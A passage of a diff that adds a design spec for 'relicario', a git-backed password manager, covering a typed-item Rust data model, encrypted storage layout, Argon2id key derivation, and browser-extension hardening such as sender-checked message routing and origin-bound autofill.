- Automated E2E testing (manual for V1)
|
||||
- Multiple vaults per extension (single vault, groups for organization)
|
||||
@@ -0,0 +1,920 @@
|
||||
# relicario — Typed Item Data Model Design
|
||||
|
||||
Foundational data-model rewrite for relicario. Replaces the single `Entry` type with a polymorphic typed-item system supporting Login, SecureNote, Identity, Card, Key, Document, and TOTP — with sections, custom fields, attachments, password history, soft-delete, and the security architecture needed to support 1Password-style daily-driver UX.
|
||||
|
||||
This is **Phase 1** of the broader 1Password-parity roadmap. Phase 0 (audit remediation) is the precursor implementation pass; Phase 2+ (admin portal, importers, Watchtower checks, etc.) build on top of this model.
|
||||
|
||||
## Scope
|
||||
|
||||
In:
|
||||
|
||||
- New typed-item Rust data model in `relicario-core` (replaces `Entry`)
|
||||
- New on-disk repo layout (items + attachments split, settings file, format version 2)
|
||||
- Cryptographic envelope updates (length-prefixed Argon2 inputs, Zeroize discipline, opaque session-handle WASM bridge)
|
||||
- Security architecture for the extension boundary (split message router, origin-checked autofill, closed Shadow DOM rendering, hardened CLI git shell-out)
|
||||
- WASM API surface for typed items
|
||||
- Manifest schema supporting browse-without-decrypt
|
||||
- Vault settings (`settings.enc`) for retention policies, generator defaults, attachment caps, autofill TOFU acks
|
||||
- BIP39 + random password generators with safe-symbol charset
|
||||
- Field-level history tracking for sensitive kinds (Password / Concealed / Totp)
|
||||
|
||||
Out (deferred to later phases):
|
||||
|
||||
- Admin portal (Phase 2)
|
||||
- Bulk import (Phase 2)
|
||||
- Watchtower-style checks — HIBP, weak/reused detection (Phase 4)
|
||||
- TOTP-in-list always-visible display (Phase 5)
|
||||
- SSH agent, mobile, multi-vault, sharing (Phase 6+)
|
||||
- Field-level merge of conflicting item edits (post-MVP — MVP prompts user to pick a side)
|
||||
- Backward compatibility with the v1 vault format (clean break — no users today)
|
||||
|
||||
## Roadmap Context
|
||||
|
||||
| Phase | Deliverable |
|
||||
|---|---|
|
||||
| **Phase 0** | Security remediation per `docs/superpowers/audits/2026-04-18-initial-security-audit.md` (C1–C4, H1–H8) |
|
||||
| **Phase 1** | **This spec — typed item data model** |
|
||||
| Phase 2 | Admin portal scaffold + bulk import + LastPass adapter |
|
||||
| Phase 3 | 1Password / Chrome / Bitdefender import adapters |
|
||||
| Phase 4 | Watchtower-style checks (HIBP, weak/reused, 2FA-available) |
|
||||
| Phase 5 | Daily-driver polish (TOTP-in-list, fuzzy search, autofill polish, quick-fill shortcut) |
|
||||
| Phase 6+ | SSH agent, mobile (Tauri), multi-vault, sharing |
|
||||
|
||||
Phase 0 lands first to remove the audit's release-blocker bugs from the surfaces this spec touches. Phase 1 then builds on the fixed foundation; the security architecture in this spec is the design counterpart of Phase 0's tactical fixes.
|
||||
|
||||
## Design Decisions
|
||||
|
||||
Captured during brainstorming so the rationale is preserved:
|
||||
|
||||
| Question | Decision | Why |
|
||||
|---|---|---|
|
||||
| Type granularity | **B**: small structural set (~7 types) + extensibility for future types | 1P's ~20 types are mostly labeling differences; structural set + custom fields covers ~90% of UX with ~30% of the code |
|
||||
| Field structure | **B+C blend**: typed core fields per variant + sections of custom fields + attachments | Strong typing for predictable fields (autofill, importers benefit) + 1P-style sections for everything else |
|
||||
| Type list | 7 types: Login, SecureNote, Identity, Card, Key, Document, **TOTP** | TOTP gets *both* Login.totp_secret AND a standalone type (Steam Guard, 2FA-only accounts) |
|
||||
| Tags vs groups | **Both** — keep both | Tags are flat/cross-cutting (`#work`); groups are hierarchical buckets (`Banking`). Different UX purposes |
|
||||
| Soft-delete | **Yes**, with configurable retention | Cheap insurance; default 30 days, settable to N days or `forever` |
|
||||
| Password history | **Yes**, field-kind-driven | Generic over Password / Concealed / Totp kinds — covers Login, Card, Key, TOTP, custom Concealed for free |
|
||||
| Storage layout | **C**: items + attachments split | Attachments must be separate so 5MB documents don't bloat every metadata sync |
|
||||
| Serialization | **JSON** then AEAD | KISS — items are tiny, encrypted blob obscures debuggability concerns, max tooling support |
|
||||
| Extensibility architecture | **A**: plain Rust enum, per-type modules | KISS — Rust's enum + exhaustiveness check IS the extension mechanism; trait+registry's flexibility doesn't pay off until many types |
|
||||
| Migration from v1 | **None** — clean break | No users today; freely fold all audit fixes into the initial format |
|
||||
| Strength meter | **zxcvbn**, color-coded slider | ~200KB WASM cost; same library powers Phase 4 Watchtower |
|
||||
| Generators | **BIP39** (5-word default, space-separator default) + **Random** (20 chars, lower+upper+digits+SAFE_symbols default) | SAFE_symbols = `!@#$%^&*-_=+`; excludes `'"`,;:{}[]<>()|\\/?` that web forms commonly reject |
|
||||
| Custom field IDs | **Stable `field_id` separate from label** | Renaming a field preserves its history |
|
||||
| Per-attachment cap | **10MB**, 20-per-item, 500MB-per-vault soft cap | GitHub hard-rejects at 100MB per file; Gitea typically 50MB; comfortable headroom |
|
||||
| Field kinds | 11 kinds: Text, Multiline, Password, Concealed, Url, Email, Phone, Date, MonthYear, Totp, Reference | `Address` modeled as Multiline; `Number` as Text; `SSHKey` as Concealed or attachment |
|
||||
| Audit fixes baked in | **All of C1–C4, H1–H8 designed-in from day one** | No technical debt added on top of a known-broken foundation |
|
||||
|
||||
## Architecture Overview
|
||||
|
||||
```
|
||||
┌────────────────────────────────────────────────────────────────────┐
|
||||
│ relicario-core (Rust) │
|
||||
│ - Item, ItemCore (7 variants), Field, Section, Attachment │
|
||||
│ - Manifest, VaultSettings │
|
||||
│ - crypto: KDF (length-prefixed), AEAD, Zeroize discipline │
|
||||
│ - generators: bip39, csprng-random │
|
||||
│ - serialization: serde-json → AEAD │
|
||||
└──────────┬───────────────────────────────┬─────────────────────────┘
|
||||
│ │
|
||||
▼ ▼
|
||||
┌──────────────────────┐ ┌──────────────────────────────────┐
|
||||
│ relicario-cli (Rust) │ │ relicario-wasm (Rust → WASM) │
|
||||
│ - clap commands │ │ - opaque session handles │
|
||||
│ - hardened git │ │ - typed-item API surface │
|
||||
│ - rpassword 7.x │ │ - master_key never returned to │
|
||||
│ - clipboard + │ │ JS │
|
||||
│ Zeroize │ └──────────┬───────────────────────┘
|
||||
└──────────────────────┘ │
|
||||
▼
|
||||
┌──────────────────────────────────────┐
|
||||
│ Browser Extension (TypeScript) │
|
||||
│ - Service worker: split router │
|
||||
│ (popup-only / content-callable) │
|
||||
│ - Content scripts: closed Shadow │
|
||||
│ DOM, textContent only │
|
||||
│ - Popup UI: typed-item forms │
|
||||
│ - Setup wizard: not in WAR │
|
||||
└──────────────────────────────────────┘
|
||||
```
|
||||
|
||||
## Data Model (Rust core)
|
||||
|
||||
### Item envelope (universal across all 7 types)
|
||||
|
||||
```rust
|
||||
pub struct Item {
|
||||
pub id: ItemId, // 16-char hex (audit M8)
|
||||
pub title: String,
|
||||
pub r#type: ItemType,
|
||||
pub tags: Vec<String>,
|
||||
pub favorite: bool,
|
||||
pub group: Option<String>,
|
||||
pub notes: Option<String>,
|
||||
pub created: i64, // unix-seconds
|
||||
pub modified: i64,
|
||||
pub trashed_at: Option<i64>, // soft-delete
|
||||
pub core: ItemCore, // typed per variant
|
||||
pub sections: Vec<Section>,
|
||||
pub attachments: Vec<AttachmentRef>,
|
||||
pub field_history: HashMap<FieldId, Vec<FieldHistoryEntry>>,
|
||||
}
|
||||
|
||||
pub type ItemId = String; // 16-char hex
|
||||
pub type FieldId = String; // 16-char hex
|
||||
pub type AttachmentId = String; // 16-char hex (sha256 of plaintext, truncated)
|
||||
```
|
||||
|
||||
### Type variants
|
||||
|
||||
```rust
|
||||
pub enum ItemType { Login, SecureNote, Identity, Card, Key, Document, Totp }
|
||||
|
||||
pub enum ItemCore {
|
||||
Login(LoginCore),
|
||||
SecureNote(SecureNoteCore),
|
||||
Identity(IdentityCore),
|
||||
Card(CardCore),
|
||||
Key(KeyCore),
|
||||
Document(DocumentCore),
|
||||
Totp(TotpCore),
|
||||
}
|
||||
```
|
||||
|
||||
Each variant struct lives in `crates/relicario-core/src/item_types/<type>.rs`. Compiler enforces exhaustiveness across the codebase — adding a new variant later means: create the file, add the enum variant, fix the (typically ~5) match-arm sites the compiler points at, register the UI form. No reflection, no registry, no runtime dispatch.
|
||||
|
||||
### Per-type cores
|
||||
|
||||
```rust
|
||||
pub struct LoginCore {
|
||||
pub username: Option<String>,
|
||||
pub password: Option<Zeroizing<String>>,
|
||||
pub url: Option<Url>,
|
||||
pub totp: Option<TotpConfig>,
|
||||
}
|
||||
|
||||
pub struct SecureNoteCore {
|
||||
pub body: Zeroizing<String>, // Multiline
|
||||
}
|
||||
|
||||
pub struct IdentityCore {
|
||||
pub full_name: Option<String>,
|
||||
pub address: Option<String>, // Multiline
|
||||
pub phone: Option<String>,
|
||||
pub email: Option<String>,
|
||||
pub date_of_birth: Option<NaiveDate>,
|
||||
}
|
||||
|
||||
pub struct CardCore {
|
||||
pub number: Option<Zeroizing<String>>,
|
||||
pub holder: Option<String>,
|
||||
pub expiry: Option<MonthYear>,
|
||||
pub cvv: Option<Zeroizing<String>>,
|
||||
pub pin: Option<Zeroizing<String>>,
|
||||
pub kind: CardKind, // Credit | Debit | Gift | Loyalty | Other
|
||||
}
|
||||
|
||||
pub struct KeyCore {
|
||||
pub key_material: Zeroizing<String>,
|
||||
pub label: Option<String>,
|
||||
pub public_key: Option<String>,
|
||||
pub algorithm: Option<String>, // free-form: "ed25519", "rsa-4096", etc.
|
||||
}
|
||||
|
||||
pub struct DocumentCore {
|
||||
pub filename: String,
|
||||
pub mime_type: String,
|
||||
pub primary_attachment: AttachmentId, // every Document has one main blob
|
||||
}
|
||||
|
||||
pub struct TotpCore {
|
||||
pub config: TotpConfig,
|
||||
pub issuer: Option<String>,
|
||||
pub label: Option<String>,
|
||||
}
|
||||
|
||||
pub struct TotpConfig {
|
||||
pub secret: Zeroizing<Vec<u8>>, // raw bytes (not base32)
|
||||
pub algorithm: TotpAlgorithm, // Sha1 | Sha256 | Sha512
|
||||
pub digits: u8, // 6, 7, or 8
|
||||
pub period_seconds: u32, // default 30
|
||||
pub kind: TotpKind, // Totp | Hotp(counter) | Steam
|
||||
}
|
||||
```
|
||||
|
||||
### Sections + custom fields
|
||||
|
||||
```rust
|
||||
pub struct Section {
|
||||
pub name: Option<String>, // None = anonymous section
|
||||
pub fields: Vec<Field>,
|
||||
}
|
||||
|
||||
pub struct Field {
|
||||
pub id: FieldId, // stable random hex; label is separate
|
||||
pub label: String,
|
||||
pub kind: FieldKind,
|
||||
pub value: FieldValue,
|
||||
pub hidden_by_default: bool,
|
||||
}
|
||||
|
||||
pub enum FieldKind {
|
||||
Text, Multiline, Password, Concealed, Url, Email, Phone,
|
||||
Date, MonthYear, Totp, Reference,
|
||||
}
|
||||
|
||||
pub enum FieldValue {
|
||||
Text(String),
|
||||
Multiline(String),
|
||||
Password(Zeroizing<String>),
|
||||
Concealed(Zeroizing<String>),
|
||||
Url(Url),
|
||||
Email(String),
|
||||
Phone(String),
|
||||
Date(NaiveDate),
|
||||
MonthYear(MonthYear),
|
||||
Totp(TotpConfig),
|
||||
Reference(AttachmentId), // pointer into Item.attachments
|
||||
}
|
||||
```
|
||||
|
||||
`FieldKind` and `FieldValue` are kept as parallel enums (rather than collapsing to a single `enum FieldKindAndValue`) so the kind can be queried without inspecting the value. Validation invariant: `kind` and `value`'s discriminants must match, enforced at construction and during deserialization.
|
||||
|
||||
### Field history
|
||||
|
||||
```rust
|
||||
pub struct FieldHistoryEntry {
|
||||
pub value: Zeroizing<String>, // serialized form of the previous value
|
||||
pub replaced_at: i64,
|
||||
}
|
||||
```
|
||||
|
||||
Triggered automatically in the Item setter for any field whose `kind ∈ {Password, Concealed, Totp}`. Vault settings drive retention (default forever; configurable to N most-recent or N days).
|
||||
|
||||
For `Totp`, the stored history value is the base32 secret string (not the parsed bytes), keeping history serializable across rotations of digits/algorithm/period.
|
||||
|
||||
### Attachments
|
||||
|
||||
```rust
|
||||
pub struct AttachmentRef {
|
||||
pub id: AttachmentId, // sha256 of plaintext, hex-truncated to 16
|
||||
pub filename: String,
|
||||
pub mime_type: String,
|
||||
pub size: u64, // plaintext size in bytes
|
||||
pub created: i64,
|
||||
}
|
||||
```
|
||||
|
||||
The `AttachmentRef` lives on the Item; the actual bytes live in `attachments/<item_id>/<aid>.enc`.
|
||||
|
||||
### Generators
|
||||
|
||||
```rust
|
||||
pub enum GeneratorRequest {
|
||||
Bip39 {
|
||||
word_count: u32, // default 5
|
||||
separator: String, // default " ", selectable: "-", "_", ".", ":", ""
|
||||
capitalization: Capitalization,
|
||||
},
|
||||
Random {
|
||||
length: u32, // 4..=128
|
||||
classes: CharClasses, // {lower, upper, digits, symbols} bitmask
|
||||
symbol_charset: SymbolCharset, // SafeOnly | Extended | Custom(String)
|
||||
},
|
||||
}
|
||||
|
||||
pub enum Capitalization { Lower, Upper, FirstOfEach, Title, Mixed }
|
||||
|
||||
pub struct CharClasses {
|
||||
pub lower: bool, pub upper: bool, pub digits: bool, pub symbols: bool,
|
||||
}
|
||||
|
||||
pub enum SymbolCharset {
|
||||
SafeOnly, // !@#$%^&*-_=+
|
||||
Extended, // SafeOnly + a few more, still excluding '"`,;:{}[]<>()|\\/?
|
||||
Custom(String),
|
||||
}
|
||||
```
|
||||
|
||||
Single canonical generator implementation in `relicario-core`, exposed via WASM and used by CLI directly. Both paths use `getrandom`-backed `OsRng` and `rand::distributions::Uniform` for unbiased sampling.
|
||||
|
||||
## Storage, Manifest & Sync
|
||||
|
||||
### Repo layout
|
||||
|
||||
```
|
||||
.relicario/
|
||||
salt # 32-byte vault salt (KDF input)
|
||||
params.json # Argon2id parameters, format version
|
||||
devices.json # authorized device ed25519 pubkeys
|
||||
items/<id>.enc # full Item, JSON-then-AEAD
|
||||
attachments/<item_id>/<aid>.enc # binary blob, AEAD'd separately
|
||||
manifest.enc # browse index
|
||||
settings.enc # vault-level settings
|
||||
```
|
||||
|
||||
Per-attachment encryption: each attachment has its own random 24-byte XChaCha20 nonce, encrypted with the same vault master key. Filename `<aid>` is content-addressed (`sha256(plaintext)`, hex-truncated to 16 chars). Same plaintext stored twice produces the same file, allowing git deduplication.
|
||||
|
||||
### Manifest schema
|
||||
|
||||
`manifest.enc` is fully decrypted on every unlock and drives the popup browse view:
|
||||
|
||||
```rust
|
||||
pub struct Manifest {
|
||||
pub schema_version: u32, // currently 2
|
||||
pub items: HashMap<ItemId, ManifestEntry>,
|
||||
}
|
||||
|
||||
pub struct ManifestEntry {
|
||||
pub id: ItemId,
|
||||
pub r#type: ItemType,
|
||||
pub title: String,
|
||||
pub tags: Vec<String>,
|
||||
pub favorite: bool,
|
||||
pub group: Option<String>,
|
||||
pub icon_hint: Option<String>,
|
||||
pub modified: i64,
|
||||
pub trashed_at: Option<i64>,
|
||||
pub attachment_summaries: Vec<AttachmentSummary>,
|
||||
}
|
||||
|
||||
pub struct AttachmentSummary {
|
||||
pub id: AttachmentId,
|
||||
pub filename: String,
|
||||
pub mime_type: String,
|
||||
pub size: u64,
|
||||
}
|
||||
```
|
||||
|
||||
The manifest carries enough to render the full browse list — icons, titles, tags, favorites, attachment indicators, last-modified — with **zero per-item decrypts**. Opening an item triggers exactly one `items/<id>.enc` decrypt. Editing a non-displayed field touches only the item file (no manifest churn). Editing a displayed field touches both.
|
||||
|
||||
### Vault settings
|
||||
|
||||
`settings.enc`:
|
||||
|
||||
```rust
|
||||
pub struct VaultSettings {
|
||||
pub trash_retention: TrashRetention,
|
||||
pub field_history_retention: HistoryRetention,
|
||||
pub generator_defaults: GeneratorRequest, // user's preferred generator config
|
||||
pub attachment_caps: AttachmentCaps,
|
||||
pub autofill_origin_acks: HashMap<String, i64>, // hostname → unix-seconds first-acked
|
||||
}
|
||||
|
||||
pub enum TrashRetention { Days(u32), Forever } // default Days(30)
|
||||
pub enum HistoryRetention { LastN(u32), Days(u32), Forever } // default Forever
|
||||
pub struct AttachmentCaps {
|
||||
pub per_attachment_max_bytes: u64, // default 10 * 1024 * 1024
|
||||
pub per_item_max_count: u32, // default 20
|
||||
pub per_vault_soft_cap_bytes: u64, // default 100 * 1024 * 1024
|
||||
pub per_vault_hard_cap_bytes: u64, // default 500 * 1024 * 1024
|
||||
}
|
||||
```
|
||||
|
||||
### Sync semantics
|
||||
|
||||
| Operation | Files written | Commit shape |
|
||||
|---|---|---|
|
||||
| Item add | `items/<id>.enc`, `manifest.enc` | one commit |
|
||||
| Item edit (non-displayed field) | `items/<id>.enc` | one commit |
|
||||
| Item edit (displayed field) | `items/<id>.enc`, `manifest.enc` | one commit |
|
||||
| Item soft-delete | `items/<id>.enc` (sets `trashed_at`), `manifest.enc` | one commit |
|
||||
| Item purge (post-retention) | delete `items/<id>.enc` + `attachments/<id>/*`, `manifest.enc` | one commit |
|
||||
| Attachment add | `attachments/<item_id>/<aid>.enc`, `items/<id>.enc`, `manifest.enc` | one commit |
|
||||
| Attachment delete | delete `attachments/<item_id>/<aid>.enc`, `items/<id>.enc`, `manifest.enc` | one commit |
|
||||
| Settings change | `settings.enc` | one commit |
|
||||
|
||||
Conflict handling: existing CLI flow (`git pull --rebase` before push) remains. Two devices editing the same item produce a merge conflict on `items/<id>.enc` (binary AEAD ciphertext, not auto-mergeable). MVP behavior: detect conflict, prompt user to choose a side. Field-level merge by decrypting both sides is post-MVP.
|
||||
|
||||
### Large-blob upload path (extension)
|
||||
|
||||
`extension/src/service-worker/git-host.ts` gains a `putBlob(payload)` that:
|
||||
|
||||
- Uses GitHub/Gitea Contents API for payloads ≤ ~900KB (single PUT with base64 body).
|
||||
- Falls back to Git Data API for larger payloads (create blob → create tree → create commit → update ref — three round-trips).
|
||||
|
||||
All `attachments/*` writes go through this path. Item / manifest / settings files are always small enough for the Contents API.
|
||||
|
||||
## Cryptographic Envelope
|
||||
|
||||
### Key derivation (audit H1, H2, H3)
|
||||
|
||||
```rust
|
||||
pub fn derive_master_key(
|
||||
passphrase: &str,
|
||||
image_secret: &[u8; 32],
|
||||
salt: &[u8; 32],
|
||||
params: &Argon2Params,
|
||||
) -> Result<Zeroizing<[u8; 32]>, RelicarioError> {
|
||||
let passphrase_nfc = passphrase.nfc().collect::<String>(); // normalize once
|
||||
|
||||
let mut password = Zeroizing::new(
|
||||
Vec::with_capacity(8 + passphrase_nfc.len() + 8 + 32)
|
||||
);
|
||||
password.extend_from_slice(&(passphrase_nfc.len() as u64).to_be_bytes());
|
||||
password.extend_from_slice(passphrase_nfc.as_bytes());
|
||||
password.extend_from_slice(&32u64.to_be_bytes());
|
||||
password.extend_from_slice(image_secret);
|
||||
|
||||
let mut master_key = Zeroizing::new([0u8; 32]);
|
||||
let argon2 = Argon2::new(
|
||||
Algorithm::Argon2id,
|
||||
Version::V0x13,
|
||||
Params::new(params.m, params.t, params.p, Some(32))?,
|
||||
);
|
||||
argon2.hash_password_into(&password, salt, master_key.as_mut())?;
|
||||
Ok(master_key)
|
||||
}
|
||||
```
|
||||
|
||||
- **Length-prefixed inputs** eliminate the `("abc",[0x44,…]) ≡ ("abcD",[…])` ambiguity (audit H1).
|
||||
- **`Zeroizing` everywhere** — `password` Vec, `master_key` array. Sensitive plaintext fields use the same wrapper at the struct level (audit H2).
|
||||
- **UTF-8 NFC normalization** of passphrase before length-prefixing eliminates the macOS NFD edge case.
|
||||
|
||||
### Passphrase strength gate (audit H3)
|
||||
|
||||
`zxcvbn` enforced at vault creation:
|
||||
|
||||
```rust
|
||||
pub fn validate_passphrase_strength(p: &str) -> Result<(), WeakPassphrase> {
|
||||
let estimate = zxcvbn::zxcvbn(p, &[]);
|
||||
if estimate.guesses_log10() < 13.5 { // ~2^45 guesses
|
||||
return Err(WeakPassphrase {
|
||||
score: estimate.score(),
|
||||
feedback: estimate.feedback().cloned(),
|
||||
});
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Visual color-coded slider in the setup wizard (and in the future admin portal's "change passphrase" flow) renders `score` 0-4 with feedback text. Vault creation refuses to proceed below `score >= 3` (≈ 2^45 guesses) without an explicit "I understand the risk" confirmation.
|
||||
|
||||
### AEAD envelope
|
||||
|
||||
Per-encryption layout (item, manifest, settings, each attachment):
|
||||
|
||||
```
|
||||
[VERSION_BYTE][24-byte nonce][AEAD ciphertext + 16-byte tag]
|
||||
```
|
||||
|
||||
- `VERSION_BYTE = 0x02` (clean break — no v1 compat).
|
||||
- XChaCha20-Poly1305 (already correct, audit confirmed-safe #1).
|
||||
- Fresh `OsRng`-derived nonce per encryption.
|
||||
- Decrypt failure returns opaque `RelicarioError::Decrypt` regardless of which validation tripped (audit M4).
|
||||
|
||||
### RNG (audit H5, H6)
|
||||
|
||||
- `relicario-wasm` uses `getrandom` (with `js` feature) for password generation, item IDs, attachment IDs. **No `Math.random()` anywhere.**
|
||||
- Modulo-bias eliminated via `rand::distributions::Uniform` for charset sampling — both CLI and WASM paths.
|
||||
- Single canonical `generate_password` and `generate_bip39` in `relicario-core`, exposed to WASM and called directly by CLI.
|
||||
|
||||
### ID format (audit M8)
|
||||
|
||||
- `ItemId`, `FieldId`, `AttachmentId`: 16 hex chars (64 bits) generated via `OsRng.fill_bytes(&mut [u8; 8])` → hex.
|
||||
- `AttachmentId` deviates: it's `sha256(plaintext).hex()[..16]` for content-addressing.
|
||||
|
||||
### Per-vault crypto metadata
|
||||
|
||||
`.relicario/params.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"format_version": 2,
|
||||
"kdf": { "algorithm": "argon2id-v0x13", "m": 65536, "t": 3, "p": 4 },
|
||||
"aead": "xchacha20poly1305",
|
||||
"salt_path": ".relicario/salt"
|
||||
}
|
||||
```
|
||||
|
||||
Format version present from day one so future migrations have a hook.
|
||||
|
||||
Three version fields exist intentionally and evolve independently:
|
||||
|
||||
| Field | Where | Bumps when |
|
||||
|---|---|---|
|
||||
| `format_version` | `.relicario/params.json` | Overall vault layout changes (file structure, KDF construction, anything cross-cutting) |
|
||||
| `schema_version` | inside `manifest.enc` | Manifest entry shape changes only (e.g., adding a new field to `ManifestEntry`) |
|
||||
| `VERSION_BYTE` | first byte of every AEAD blob | AEAD construction itself changes (cipher, nonce size, tag layout) |
|
||||
|
||||
All three set to `2` for the initial typed-item release. Future bumps are independent: e.g., adding a manifest field is `schema_version` only; switching to a new AEAD is `VERSION_BYTE` only; changing the on-disk file structure is `format_version` only.
|
||||
|
||||
## Security Architecture
|
||||
|
||||
### Manifest changes (audit C1)
|
||||
|
||||
- `setup.html` and `setup.js` **removed from `web_accessible_resources`** in both `extension/manifest.json` and `extension/manifest.firefox.json`.
|
||||
- The popup opens setup via `chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') })` — own-origin extension tabs work without WAR.
|
||||
- WASM artifacts (`relicario_wasm.js`, `relicario_wasm_bg.wasm`) removed from WAR — service worker loads them via `import` from extension origin.
|
||||
|
||||
### Split message router (audit C1, C2, C4)
|
||||
|
||||
Directory layout:
|
||||
|
||||
```
|
||||
extension/src/service-worker/
|
||||
router/
|
||||
popup-only.ts // unlock, lock, list_items, get_item, add/update/delete,
|
||||
// save_setup, generate_password, vault settings, ...
|
||||
content-callable.ts // get_autofill_candidates, get_credentials,
|
||||
// check_credential, fill_credentials, blacklist_site
|
||||
index.ts // single onMessage entry, dispatches by sender check
|
||||
session.ts // opaque session-handle table mapping handle → master_key
|
||||
vault.ts // typed-item operations (was vault.ts; rewritten)
|
||||
git-host.ts // gains putBlob with Contents/Git Data fallback
|
||||
```
|
||||
|
||||
Dispatch logic (single `chrome.runtime.onMessage` entry point):
|
||||
|
||||
```ts
|
||||
const POPUP_ONLY: ReadonlySet<MessageType> = new Set([
|
||||
'unlock', 'lock', 'list_items', 'get_item', 'add_item', 'update_item',
|
||||
'delete_item', 'purge_item', 'restore_item', 'get_totp', 'save_setup',
|
||||
'get_setup_state', 'update_settings', 'get_settings', 'add_attachment',
|
||||
'get_attachment', 'delete_attachment', 'generate_password',
|
||||
'generate_passphrase', 'rate_passphrase', 'change_passphrase',
|
||||
'list_devices', 'add_device', 'revoke_device',
|
||||
]);
|
||||
|
||||
const CONTENT_CALLABLE: ReadonlySet<MessageType> = new Set([
|
||||
'get_autofill_candidates', 'get_credentials', 'check_credential',
|
||||
'fill_credentials', 'blacklist_site',
|
||||
]);
|
||||
|
||||
chrome.runtime.onMessage.addListener((msg, sender, reply) => {
|
||||
const senderUrl = sender.url ?? '';
|
||||
const isPopup = senderUrl === chrome.runtime.getURL('popup.html');
|
||||
const isSetup = senderUrl.startsWith(chrome.runtime.getURL('setup.html'));
|
||||
const isContent =
|
||||
sender.tab !== undefined &&
|
||||
sender.frameId === 0 &&
|
||||
sender.id === chrome.runtime.id;
|
||||
|
||||
if (POPUP_ONLY.has(msg.type)) {
|
||||
if (!isPopup && !(msg.type === 'save_setup' && isSetup)) {
|
||||
reply({ ok: false, error: 'unauthorized_sender' });
|
||||
return false;
|
||||
}
|
||||
return popupOnly.handle(msg, sender, reply);
|
||||
}
|
||||
if (CONTENT_CALLABLE.has(msg.type)) {
|
||||
if (!isContent) {
|
||||
reply({ ok: false, error: 'unauthorized_sender' });
|
||||
return false;
|
||||
}
|
||||
return contentCallable.handle(msg, sender, reply);
|
||||
}
|
||||
reply({ ok: false, error: 'unknown_message_type' });
|
||||
return false;
|
||||
});
|
||||
```
|
||||
|
||||
### Origin-bound autofill (audit C4)
|
||||
|
||||
- `get_autofill_candidates` ignores any `url` in the message body. Uses `sender.tab.url` only.
|
||||
- `get_credentials(id)` looks up the item, derives `entry.url`'s hostname, compares to `sender.tab.url`'s hostname. Mismatch returns `{ ok: false, error: 'origin_mismatch' }` — no leak.
|
||||
- Top-frame only: `sender.frameId === 0` required (no autofill into iframes).
|
||||
- TOFU origin acknowledgement: first autofill on any new hostname requires the user to confirm in the popup. Acknowledged hostnames stored in `VaultSettings.autofill_origin_acks`.
|
||||
- Pre-popup-fill (`fill_credentials` from popup): when popup opens, capture `(tab.id, tab.url)`. Send `fill_credentials` with that captured tab id, and verify on receipt that the entry's stored URL matches the captured tab's hostname. If user switches tabs mid-flow, the fill is rejected (audit M5).
|
||||
|
||||
### Capture prompt rendering (audit C3)
|
||||
|
||||
All page-injected UI (`content/capture.ts`, `content/icon.ts`) lives inside a **closed Shadow DOM**:
|
||||
|
||||
```ts
|
||||
const host = document.createElement('div');
|
||||
document.body.appendChild(host);
|
||||
const root = host.attachShadow({ mode: 'closed' });
|
||||
|
||||
const promptDom = buildPromptDom(values); // textContent only, no innerHTML
|
||||
root.appendChild(promptDom);
|
||||
```
|
||||
|
||||
Strict rules for content-script DOM construction:
|
||||
|
||||
1. **No `innerHTML` anywhere in content scripts.** All construction via `document.createElement` + `.textContent =`.
|
||||
2. **Element IDs randomized per-prompt** (no stable `relicario-save-btn` for page collisions). Use a per-prompt `Map<string, HTMLElement>` to wire up handlers.
|
||||
3. **Page-derived values bounded** — username field from `findUsernameValue` capped at 256 chars, control characters stripped, then assigned only via `.textContent`.
|
||||
4. **CSS scoped via Shadow DOM** — no leak to/from page CSS.
|
||||
|
||||
The popup UI (which lives in the extension origin, not page DOM) continues to use the existing `escapeHtml` textContent pattern in `popup.ts:16-20`. Audit L11 (single-quote attribute escaping) is mitigated by mandating double-quote attributes via lint rule.
|
||||
|
||||
### Memory hygiene (audit H2)
|
||||
|
||||
- **Rust core**: `Zeroizing<>` wrappers as defined in the data model section.
|
||||
- **WASM bridge**: master_key NEVER returned to JS as `Uint8Array`. Instead:
|
||||
|
||||
```rust
|
||||
#[wasm_bindgen]
|
||||
pub fn unlock(passphrase: &str, image_bytes: &[u8], salt: &[u8])
|
||||
-> Result<SessionHandle, JsError> { ... }
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn list_items(handle: SessionHandle) -> Result<JsValue, JsError> { ... }
|
||||
```
|
||||
|
||||
`SessionHandle` is an opaque `u32` index into a Rust-side `HashMap<u32, Zeroizing<[u8; 32]>>` (the `session.rs` module). Keys live entirely in WASM linear memory inside `Zeroizing<>` structures. `lock(handle)` clears the entry. SW idle-suspend drops all sessions automatically.
|
||||
|
||||
- **JS side**: passphrase string cleared from local variables ASAP after passing to WASM. Best-effort only (JS strings are immutable) — primary defense is keeping passphrase in scope for as little time as possible.
|
||||
|
||||
### Hardened CLI git shell-out (audit H4)
|
||||
|
||||
```rust
|
||||
fn git_command(args: &[&str]) -> Command {
|
||||
let mut cmd = Command::new("git");
|
||||
cmd.args([
|
||||
"-c", "core.hooksPath=/dev/null",
|
||||
"-c", "commit.gpgsign=false",
|
||||
"-c", "core.editor=true", // skip editor on rebase conflict markers
|
||||
]);
|
||||
cmd.args(args);
|
||||
cmd
|
||||
}
|
||||
```
|
||||
|
||||
Stage specific paths instead of `git add -A`:
|
||||
|
||||
```rust
|
||||
git_command(&[
|
||||
"add",
|
||||
&format!("items/{}.enc", id),
|
||||
"manifest.enc",
|
||||
])
|
||||
```
|
||||
|
||||
### chrome.storage.local hardening (audit H8)
|
||||
|
||||
- `apiToken` and `imageBase64` documented as profile-disk-readable in README + setup wizard final screen ("anyone with filesystem access to your browser profile owns factor 2 + the git push token; your remaining defense is the passphrase").
|
||||
- Setup wizard PAT instructions emphasize fine-grained PATs (Contents-only, single repo) for both GitHub and Gitea.
|
||||
|
||||
### Deferred to Phase 0 implementation
|
||||
|
||||
These audit items are bundled into the Phase 0 remediation plan (not this Phase 1 design):
|
||||
|
||||
- M3: imgsecret `MAX_DIMENSION` cap (10000px) and dimension peek before decode.
|
||||
- M5: popup→fill captured-tab verification (covered by autofill section above; implementation in Phase 0).
|
||||
- M6: CLI clipboard always-clear + `Zeroizing<String>` wrap.
|
||||
- M7: CLI stdout `Password: ********` by default + `--show` flag.
|
||||
- M11: CLI ISO-8601 timestamp formatting.
|
||||
- L7: `cargo audit` / `cargo deny` CI configuration.
|
||||
